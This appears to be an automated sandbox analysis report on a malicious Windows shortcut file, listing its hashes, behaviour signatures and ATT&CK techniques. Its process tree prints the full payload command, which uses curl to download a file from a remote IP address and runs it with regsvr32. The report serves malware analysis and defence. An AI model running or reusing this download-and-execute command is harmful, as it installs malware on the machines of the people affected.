Analysis

  • max time kernel
    53s
  • max time network
    58s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    23-06-2022 15:17

General

  • Target

    DocumentsFolder_35334058_060139.lnk

  • Size

    1KB

  • MD5

    2d3770c3daa570fa21b712f9dcc5da92

  • SHA1

    291b441bd68939665764e62a9cfe5937d7a89869

  • SHA256

    880798e380f7d1159c2d1486aa2458b218876d60607ad5f2f3a812a77ac7ad74

  • SHA512

    aa91edc8e8cf82b7beaa4f5557be8e842c1185ab43d94dc25c3be96ea134097e5dbb3341d34d9e2830c13cbdd6d2aa1e6f3e138d1568dd070fa42bbe0def3862

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DocumentsFolder_35334058_060139.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /q /c curl -o C:\Users\Admin\AppData\Local\Temp\1.jpg -O http://194.36.191.243/717510.dat&&regsvr32 C:\Users\Admin\AppData\Local\Temp\1.jpg
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4204
      • C:\Windows\system32\curl.exe
        curl -o C:\Users\Admin\AppData\Local\Temp\1.jpg -O http://194.36.191.243/717510.dat
        3⤵
          PID:4056

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4056-131-0x0000000000000000-mapping.dmp
    • memory/4204-130-0x0000000000000000-mapping.dmp